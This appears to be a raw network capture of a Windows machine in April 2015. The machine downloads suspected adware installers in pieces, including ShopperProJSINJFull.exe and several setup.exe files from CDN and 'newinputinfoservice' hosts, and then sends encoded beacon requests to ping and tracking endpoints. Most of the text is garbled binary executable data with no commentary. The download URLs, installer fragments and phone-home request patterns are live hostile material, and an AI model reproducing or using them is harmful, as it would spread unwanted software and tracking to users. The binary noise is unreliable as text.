M"&e..x.J%..7.tY.2...F..JZ...wN.I.....'....!DZ~i.q.)^l..a.._)..b......
PS'......-$.b....Y\....y_@..}...x>..F..?.l|...1.....;BT...[]Q~;7..o
&>...v....<pp.L....3hl.A....G.(.5.H..........u...H........<.j
...8.%z>d..z...Qb..._3...He..9..O.hB".z....Z.Nr1...X.D....!.*.W..U.
,;~../...2..?....;.?.A...U...W.RG.OW..5...me.o...do.....5/.$.....r..|.
..Q.c{C...9I..V.c.C[....r.../Mn.E....'M..U.V`:....~.*.........-vK.D.P.
m.'......3.;9....Z.{.>1...P.........2I.....|..P$*.6?\..;y..}%..k...
.#Has.... ......c".~.3..h.."u][.jB.u#B..L..u...c...%..S.....M.d..D....
.We.3..N...K..<...d........B91k.[.$...,.!wdw.....E?5V.U.....76I.5m.
.Z.5.i...H. 9:"u.3[.:8.`.?.i3.....4zb..r..........X....-:.....&q.~..A.
...C....H..*H...9sj<r..;F..q.R2...?u..f../.u0-......Q.h.....]f.re._
9..E..BOYFI.,..rU...<.,.....4...s.i.7O.vF..K.3.6.......l .\r{...-P.
.W...H.O`.5...w............K.o.P.g......c^c...%z.Hh.'...q.FP.eA ...-Lx
.ny..].KIJE8.....l1-#4.)...E;[email protected]%.mD.F...(.Z_isL0. ......
..B..d......u.n..K..g.2[..DP|.;s.?<Y.S..Q.qE..6..8O.W....'.R.mYv.A3
.F.=.V..!.._...Y.'8...<MG...Z..............Ja....<.v....G..[..S.
S...... l......7.PA;Z.1....-........B.b..Ru`. ..t.9y.= z.0:....9GfC)..
..e.TY!..o.f...e .:*..z............7.p.i .,[email protected]....
!...s....~..n....kg^......=....e&.=.<.<.ay..hv..............\.].
...X...R.$..^......1.$..>........htv..}B.%.....7'{).\@...j...B....n
....I...j..V........cI..*.dQI....X...h.mW.Dr..P..=....eS..K... .}.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



..j....j8.....o....r3...l...Ca.........=,..F..Q.}..w..3F..4.6....|i.F.
9 ..).....I..G ......;.bd..v].......jtL.G..ji..^......qI).:D...J..@P..
..g.|.....^k.s.@D [email protected] .....~.-s.......l{...A.S4`...d.....
opl-...6.....O...{).7...^..Tf.$..Q.UBWTDW..2..r..%.;JUVK...YoT`A..s8.@
G/x..k....G.Y.{].G`# ..k...k.I}.Z..c..H.[Ba.....(..Pa..CH.$I.d-.aJe.{.
.....)~6..s.:....3.:..m.....i...P..yE ..x...W(.J...wi*....[......2w}..
.E.!AxycS:e..RX......O..f.......j.r.BB....[..h..=.....U....u@...?7.:AD
_y....^..j-.6......j.....DBz%Y<O...,I.T.<.....W...z.....*9c..)7.
1..M..B2..7S...A(.0"x6..0..d"Xp.....D."}......8......&c.zS.G.FL.h.m...
..}..i.....p8,.X..\&.m.!....1foA$..Ss..m3..\.....v.p....N.dp3;V....{..
.R....l.m.......KR...G.;}/..e...a.l.VNa....7.....ct..6..y2MA...j.rg.].
.k..../..p.Ie.Vw5..y..E....i.....BL..(.#...L*.U=....SH...%.-.Y..,....n
:dF&..:Y.P.F..5<[email protected]....)S....=5O...>.1|j.m.X.nI.K.e.i..
.b3A....Dd.I1..Y.Nw....1.EQ7.~.K,.z^..s.q@!..._..nT.@#.!.T...k.....^.t
0...F.>...@wH=pY.? ...z.U....%.x*.."....E*...oC.vp.*.....s..Y.]..:.
.....hP.:jU.G........0B.|.K.CV...xG.y....K............J.?... ..a....e.
..k.......A........s3.9...t......F#N.....l..e8 ..Mp.k...1fD.......K..5
..HA.S..Q..^`..@[email protected].....$...D
.R.!......Oi.....<y..A........M6....n../i..4.{.j...8...nM8x...../7S
..,~.Vz.....%..-X.2<...W.....U.g......%...*.....?j.J.......(.lN..Iu
.c.|......J[J}[email protected]&.....z.............p... 6...^K.#...rQ.r.
yM.I......k.%..w2..j..}.P..T...A}&.j...>.yY..2..3^...}b.~...Hvg<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:35 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: Nh6FDteAPEbksnMhlZ9mScTRUzOBd61uMuuvQykfjuZuSliFKoOwZJpNbl7usaBIw9nIe9mRqaQ=

x-amz-request-id: 44D0999A12B314B9

Last-Modified: Fri, 17 Apr 2015 05:19:45 GMT

ETag: "264d5a79c1ebf3bda62be98f2e6ff8b4"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2250000-2499999/4737507
...E.$..../.{t.......W..).....&U...f...s}q. "..m.\;Iv....j...L.<..k
$"...........b.{M[......K.2..E.&..U.k.J0....a7.......5....p....,.TC.].
......%i..h.....f.\g..a..j..f.....4....~...r.U.h1M@......}..wq.N...6o.
3...:..2y.C...d..-....r......1...........Z.V..S....6D..j......$.e.N`h~
vFc;.......F..S.....V...9.]p.....M...[-. ...W..H.i...!.haPV..Z....Y.".
LH.G...v....{..C..}....u...8.@C.%.].......W..D..H.......GDAOl..y.E...`
7(o......2.f....\.... R..?&...W..._.g..Q..T..-5...W..hD....tl[.j.e#...
......h....}b...........M...............j.L...c..;....u.jHOQC."...!.S.
....\OU......9...].C~.M...K:.2......XT.g......qT..'.'/...%.....,...M..
.kmxTrp...L....j?.9......r;.....*.7......n.P8t.j.%/Re..K.....D.Mw..x..
.V.......1.q.v...>.(...B...2...)..$.(...Y...<..........l...v...R
..-N...v.Z....|....F..*g..?..yB_.hw...t.2(....dE.%.W..3.`R..D.X ....).
...-...K.SxY&.B.A...E...M.2.p...V...9. d...:....j....&..2...jY...BDi.I
.`R.}....O'....y&V.,....pBp;c.N=..p.x...v......r[b\."....|.3....L7U...
.B..p......_. ...Vk.....7tL..|...|..D........) ..........D..l<.34,.
|?.\.[........q[...\.>.....q~..[$*V.....~..b...=N.0..._6..&..N...E.
n.N....X..B:wK.P..ZMK"..."...w7n..pj.......EEd,...My..*.C....... ....P
.A.Y2.E..f..................m{Fr8j.ji4,"..s..'..Z/.....Vk.!..5.j......
....?.....IjJ|.h:W. .E0.....T5~.*o.........Q..I......J. x.B.#....>(
...DM..#J..........="P.y2.F9....!o.6.d.`.4.Cj...(...F......,..e...:.v.
......}..q.NZMA<....O..d...?YC|i.&;$zi=.^.'.cJUF\.....W0..[......9.
c..R...t.....k=..GGgqr....g.....j..x^..76.GN..(VqX..,.!..1..j....&<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



9..{...P......:.s.N...o .Iw^...~....C.aSp..:..F......*.!Ca...zS.O.Y.;.
.......LX8...{.vkK..#...x"A....R..h....Y...t......N.v.$...r..E.G......
.G.\.'.....{.&.RT2......68..uu...........*(.i.{.S...Y)|h.Z...Q..P.\ft[
c1.H%.W .J....\...4WSF5aK$~.d[~^rq..W......wY....r..R...q... .T.o.....
...].X.....F.]A.7.C...g.p.U.C...F..%..*v.}O.......V.D.*..^.4yQ...7.[m.
b.V.4.....m........t`...i...z....N....ZT..3O...zT.....s)..:..wyj.AU.B.
. Y._....a*%.a....{...)....7..E?....r..'?..s...m....E}~..Y#.....}.....
.#......~.......U....\f._FN3J[xI.. ...C......T.RJB.....4vE.../_d.....s
.....R..u...A%p..U..k._.......-6....9.!..)..c..J.{.Y.Z...{.Q....#../.d
C8.W.V..[.....q.x}...d..K...e....^..!^.....T..A...^?.b...q...#........
#.........l..K%....FI7....d.C.}A..0&.].I..!N..4o.|...``.KjD...N).B..*'
..0J....a?.<..n%w..OJ.......iLQ......._.}.k..x...]G...y..,....|^N.(
).e.%....}...'..!B...`^y..&"....Y..{..>n.2.C...w.w..."...A.U.[u...U
.....T..=CR.>v...J.I..Vw}....T.$....C.].k...XSx..&.O..P..2<.....
.X%...7.d.q....H.i..f....*j.u....5.m....;yVI..SR.s.l.UG......J%.K,|.ae
y.:s.{..i ,.||....k.<..4<>>~.....{.v..S.v...SW..:...2w..Q?
.......d)K;..]$......|....YE...".x.!. NH...[.1?......V(7H..[..q.]2...l
...L..?X.=M....2j..l......${.J7.*`;m.H\..........K..........gp.A..?...
.mw......5..$......C.a..~.tLD..q&.L.\.....G.R..s....w.G<.........MC
#... .......3W.W.|q........}Hl|..~/<f......W.... ...\U.?MVT..ru]K`.
C.[S.....%.....C..y..2...._'...........V|....F!j.c7^z0S*.4Z..?..`.D9.!
.."T........q..:W. .L.#}.w.K....PSQ....m....._g9..l.n.V....E.j4.-3<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



...<j.P.n..*.c...m...%..I%.".(.&4 ..-W..._6f...b..|..8..(...c.T.D..
..OB...}.h.h%2.....L%W.nfX..".h0o.t......2m..?..t.......q...Y...B.0aRJ
 ..L..=.d..l...T{..8..h.....^.<.....!' ....W=B.....b.&...|.k..5..l?
..f......u.!........M..u ....c.....}.......Nf...Q.l....c...>....p.w
yf..^..Vc.....eV....2{..8.....NE.x..s......8.OKpt..h..B..%xvd..b.p.3..
{..[it.=..] :j....j.. ...!....._.N.....ao%..I. .PS|.....W.....|.J..A..
..'A=...z.@..]..2?..P....i.9Z....I\.E..AN...4^......$.?..J....1.'ZQ..E
[email protected]..?s|/I.(......j....#m..v..2.H...f.R..&.....t]{.:..$..|c.
Q.I.vuz&..a..Q......q.:rqL.....G.6-....{.......Z......._.s...6..y....x
..=.6.Hn...M......n..,T....H..3.|..w7./%............].h..}..ZN.i.A.\.6
"H.......e.u.2b..j.j.G...#.........}..%......gk.P...........x......R.c
..w....oJ....Z.../.1.8....CX..0._ ...q.y.......M7.b. ..By=....(.......
[email protected]..&...x.uZY...LT.....j....X.....<...S2.....S ...H.
.<e.m..Fe.@&...Y....5.Q. .......g..........4>...Nh-2|.....fMo.4P
.E\pG8....?..8i.sV..P.!.i.L.B..V2.t.o.!...xQ.n...(..K.N.{..wy5u..&zP..
..C...6....F;./..O...3V....r.2.v>XK.`.Go..h.K...Qk,..a|. ..0.`.HI..
1.n.E....d.5..5.....:3|=..u......7...d.t..#>......k.r.i.y...*V.p$S.
.8.k..J...;~o\.."nh......k....UU..Sw...S'.`R.\R..../.3!.....4..P.43..\
M.[...J...%...|x.C....$...........X..^ .S..*$..........f..{.o.g...n...
..0.M....}.....s.v.Q....Z.$.|Y...s..4..U...3.O...........7.u.W.../$_..
..%..e.x...4..8..g.l.YBpGF..>.x......A..J......1.>.]p8........,3
a....I:"@...._I.......;.....0.E..#.Vz5 d.2.6lew....q.........1....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4000000-4249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8jxn8tdj-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



. ..O.z-.....z.V......].........~/z{O....X..0CG..c.j...k...".!..j..2q.
|......p83..Z..l...dun...I_S8_d.*.'..nV...*..d#m..(..Y..."Ci.6..B;M...
[email protected].)../?=T..St.)6..o.o.t..).H`.S......~..D..FYy........T...
..#...r.....4.dVZ{;..n|...6..j._.Orw.gg.!dvFpYT93.........V!....~._.0.
..........WQ..U.m.8.|C....z...a....].X...........b.)I..y...=..k.......
UA..`..Z...4..\..J@!..W..X.N$E>.X'..1..xH.4.....B..2S...$.k.. ..5..
.(A....I....o....X..`D..U.-Y.Ljh&%j>nC...N?\..1A.[^.<0..........
."..I.jg6O.iw...6...woo.6w[..$.....y..C.Su......Ef....6......5.r1...'G
......0....]......3....-.L...TF..9.4..O..c|...z..k.R.J.j..Q~i.. ......
. ..Y...8.X*.w~.28....K...A../....A..j.q.....}.9F.]W...WO.D...[......r
`.|O..=8...E..?....XfT=N.Aw.........J$.*.l.=....O.0<a2.i.......4.".
G.(;.45........|W.Ywb..m2-Uwc..Ii.P/ww......?TH~fB.7......S..*.*}..M.w
......B....zo..?0A...{..N<.a[o.jA.....%..PW..1h..ps.Xi-n..m.C..#..&
gt;F!...XK.2........I.....C1...9.E...e...6...!.$K<....P..........ud
N:.....~iK..L..^.4....!a..Qs..,.G.,).L.Oov......X./'.hk_r..Pe.%...o.`.
..y..IIRd...5S...cp.j...s.'n...S:.......eQ.n..De.MI5../\2v..rB.a...`..
.........T.].W.o..h.7..<..ul.!.-.....E.V.......}.6.t.b...3.;..3.rLK
...O.HG..>q.L..lN.6.M~y.......s....R.p.....I...u;..JrT..bFz....o.p.
.-..........".-.......k\.....@......=..0............0B.....\..w...L...
....}J..[.M.nZ.v(..Ku".80....&....xK....]..uc...:V....!WX<..D.....e
...&...n.E .K#.4rVV...gz...W>j..CO.....OK~.o.\..$.`..b....Mo,..{)8.
z'......R......%....Q]..j.........w07.....>~...&..u.%#4J.].@{..<<< skipped >>>

GET /app/ping.ashx?e=b1dRW7RxYKcVc8R/SQUwTB0R8FZu6GaDqC6oiplFTAjZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0mqiRYw3wYJD9kq6IHSvLFkvq zYkkBMnThVOZjHwNmMLSU69xHuB8Lk6Cr9laSF2XrRbZnBny0uhv3iEz1ZNnAt9LqlyOzWzdYajJERvEzx5ndg67xTtCvTIzvqZgRdSOU1 Vv02kk1EQ2j3/SZrch4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrkFDCJCimLsvNsA1iuxLaBO3MAaHEZgUY= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:46 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 18 Apr 20
15 07:35:46 GMT..Content-Length: 0......

GET /app/ping.ashx?e=WL9usJOVMsOEyHZoFFyrCB0R8FZu6GaDFeMezcHjzXHZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0nHHgvdsYdW7Nkq6IHSvLFkLtq7zMORfxfhVOZjHwNmMLSU69xHuB8Lk6Cr9laSF2XrRbZnBny0uhv3iEz1ZNnAt9LqlyOzWzdYajJERvEzx5ndg67xTtCvTIzvqZgRdSOU1 Vv02kk1EQ2j3/SZrch4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrkFDCJCimLsvNsA1iuxLaBO3MAaHEZgUY= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:47 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 18 Apr 20
15 07:35:47 GMT..Content-Length: 0......

GET /app/ping.ashx?e=l5ZGX8WfGzEdEfBWbuhmg1vbxkDIvyv12YTeaOaZJPFysSIQM/WMqtGQDVZU32tJRZ4jWEvEgl1Ieo6/gOuIoWivYS/d2rWv9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe899YNvMh53GZd jLB9eGvvtv5HFDuCl0licUWbVgwixNWPoquwdbFK1fYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW aNKDh4dmbgaJe7HkSXGWaCSzJtLg64wtyn9/rMZVqDBTEzAJiBY4c3UQbqpMFV8geBEGexEmKH9xHMzQgr8p4E= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:47 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 18 Apr 20
15 07:35:47 GMT..Content-Length: 0..

GET /26666.ashx?e=P5c0s7lb4RzT6EXPOQXbtRiFdv5RNWvwQF3UKsSdb2t7HO4WybUyR1UeQGsGyqManeeRuA04mvildlcWxid0BWAqR2XPWVGhv0BJaho5/afQlB3kfGAhd7KfjViNnCJbBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:51 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1286329

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 08 Apr 2015 08:07:30 GMT

X-Cache: Miss from cloudfront

Via: 1.1 85b7c880997b6b8bee9a45557704a3a0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: d-2oESpCOe7mz9xSm096T-JOd5Psawwc6ZtMDZkDGRG2HW6ElQly-g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1286242

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:34:32 GMT

Content-Range: bytes 0-1286241/1286329

X-Cache: Miss from cloudfront

Via: 1.1 182f7fa5c3814caf19acb317d3eb85ad.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AL5D5Sn3ZRhKFtZJAuaXOSbSi6J7IeJv93Zmi0gZsqd_bVEdn3oCfg==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
............

GET /22693.ashx?e=KC46TpkJIZzYLhsRuGeUaR0R8FZu6GaDdoDtkaq/39yMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK81OkRgwYRvOGYuJSmtxq56iWx73v0ShanfqglJnWRFsFrPMmulBbrouUeZLRmueCpr 7rPtSKe/ AIsHtC6ix/WWEhOzVv/fp7IROPie2z40 X0A62pnUj3KYX3Ti/i3YMWsa713zW45TYd0CRAC1t0QqcInifBS6tG4Kswyw6eNNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMyrUTQJflqOXAaUNQllbcTcM6MHnBrJ0bNg0bPE7e2 oTmuRTnZftl08= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:45 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:45 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /22693.ashx?e=uWabAt9SLcyBuMQa44hX0PwuLAfuLSER7OXLse4BafTbQC nVTu53mZVsyaCUtL61B9Dv91QFMEp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/UGNPyKpcWBkVR5AawbKoxrrEAjumXncijmYM h47eE6eqfOL09Waq4oPfCrfVvRJhQC drCF7eF8q1Ber6XmkpQzH1M0FuaRKbnIApsAnWq/KNyNI7rZDBnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqrMpnxa6GDS1MLSuKCsuLN/hx03Dxo5hagrJighumfZT3p Gk9dZp5 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:45 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:45 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /22693.ashx?e=aUlNCxxkjnSfZNC1TqAoBBmvNgHkrVH81VMaOJFqXYpm5LT87ehXaouB5vT09TkZvzmuumkvCj xSXuHmZXjPqL76yWygYEwHpIRYA39a1iixVChYh0gLiKIFo3W8f23Wq7IsWCDz6OA 4HcJUnTWJhFf2YHgWSz3HjAX5f3Ms/caEgn1aywnSpt9GSHWXQjyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L/4y49ULAFDJmd2nfyUtw7tDqZm84mZltXkERNHBe5a3/5OmEDwJ/nJy0n5cCJyqEpnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UqrMpnxa6GDS1MLSuKCsuLN/hx03Dxo5hagrJighumfZT3p Gk9dZp5 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:47 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:47 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /22693.ashx?e=WL9usJOVMsOip5SW8XfeItPoRc85Bdu1mGhKD76UfDBAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRyJZkR RdXtlMLSuKCsuLN/hx03Dxo5hagrJighumfZYxV XbSIgCs1JJpRAUOpYSeY/e3xqcYN8E2yJSrxXsm/wrq F9pWAXb8zyMlAjNJ94BVzIM sbWFAL52sIXt4UeH8s8AG8ECxxc81u2rgCm44UuTa3qd5D7MusukiOxFdiKwrj11afInlMDvET1AqkEB1KJjJJfUAE70KA8ZXhbA8YCZx49749T/rv 3Ugl9NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29pMQBpyXuqMyrUTQJflqOXAaUNQllbcTcM6MHnBrJ0bNg0bPE7e2 oTmuRTnZftl08= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:47 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:47 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /smt2b/all/hat/row/setup.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: dl.newinputinfoservice.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:36:13 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1429283461"

Last-Modified: Fri, 17 Apr 2015 15:11:01 GMT

Cache-Control: max-age=2127

Content-Length: 12513156

Content-Type: application/x-msdownload

X-HW: 1429342574.dop001.fr7.t,1429342573.cds034.fr7.c

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......PE..L......P
.....................n......-A............@.......................... 
......./........ ..............................p.......... C..........
......................................................................
...........................text...<........................... .0`.
[email protected]$.......&.............
[email protected]@.bss..................................0..idata.......p.......
[email protected]...@....... [email protected]... C.
[email protected]..........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U..WVS.......U..E....t.
..F........T.D..H...H.......M..E..5..D..D$...$...tE..M..E.....SS...E..
.$.D$... uE..M..E......M.WW......M.)..M..NT....NP........E.....}...VT.
.......FP..E........}..VP........U.......FT.............}..........E..
M...$..|sE..E..R...D$..E..D$...$...uE.....<$...sE..E..Q.}.;}...Q...
.~X........F4..$...sE...W..........$.E......E......D$........sE.RR.FX.
.$.D$....sE..5.sE.QQ..$.|$...RR...E...$..|....D$. ....D$..D$.........}
..u&.....D......D................D.1..C .......D......D.1... ...E.

<<< skipped >>>

GET /26666.ashx?e=P5c0s7lb4RzT6EXPOQXbtRiFdv5RNWvwQF3UKsSdb2t7HO4WybUyR1UeQGsGyqManeeRuA04mvildlcWxid0BWAqR2XPWVGh jCDsw4o/xYUAvnawhe3hVdVxGgZRPVfMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoGKcnwsyLt5XukVrhYbwr D2q5sOnn E//Dw8o2fbvVqcMM7jAoddqLdDuCot28iq0o3 yQeiL1SuvBinayp0tcns/kzQV2BeYxBeMPUCLMldOWqG7q5ZOTE1c/KyCxwrHp0Nl0 g/bUa43ky18UiOglW/2k0Bn7juyI5Smb5 tt2SpsD0lHiG3ge36Sj48TdNf5jdoJJmc3Ay7jXvVhKQ9TL8V0QlNSd0FBlbLLy9bYRYMHpWGKYIghlLS1lYicLMakHZ/6A7iV3ktSrv7ljo83blC6RlaT VZn0CSeruiCYs6LDk67DSsbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:51 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

